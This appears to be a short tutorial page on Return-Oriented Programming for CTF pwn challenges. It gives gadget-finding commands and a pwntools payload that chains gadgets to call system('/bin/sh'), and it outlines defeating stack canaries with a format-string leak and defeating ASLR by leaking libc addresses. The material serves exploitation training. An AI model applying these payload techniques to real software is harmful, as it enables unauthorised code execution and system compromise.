Skip to main content

55. ROP Chains: How to Bypass a Stack Canary

Modern binaries are protected by NX (Non-Executable Stack) and Stack Canary. That led to Return-Oriented Programming (ROP)—instead of injecting new code, the attacker recombines existing code fragments.

Core Concept

Gadget: A short code fragment ending in a ret instruction.

pop rdi ; ret
pop rsi ; ret
syscall ; ret

Connect these gadgets on the stack to create the desired behavior. Set arguments → call a function → obtain a shell. That is all.

Practical Flow

Step 1 — Find Gadgets

ROPgadget --binary ./vuln --rop
ropper -f ./vuln

Step 2 — Build the Payload (pwntools)

from pwn import *

elf = ELF('./vuln')
rop = ROP(elf)

rop.raw(rop.find_gadget(['pop rdi', 'ret'])[0])
rop.raw(next(elf.search(b'/bin/sh')))
rop.raw(elf.plt['system'])

payload = b'A' * offset + rop.chain()

Step 3 — Bypass the Canary

The canary value can be dumped through a %p format-string bug or a memory leak. Chain the stages as leak → overwrite → ROP chain.

What If ASLR Is Enabled?

First leak the libc base address using ret2plt or ret2libc.

puts(got['puts']) → calculate libc base → call system("/bin/sh")

Quick Reference

  • checksec --file=./vuln — Inspect mitigations
  • pwndbg + cyclic — Find the offset
  • one_gadget ./libc.so — One-shot shell

💡 70% of CTF pwn challenges are ROP variations. Developing an eye for gadgets already gets you halfway there.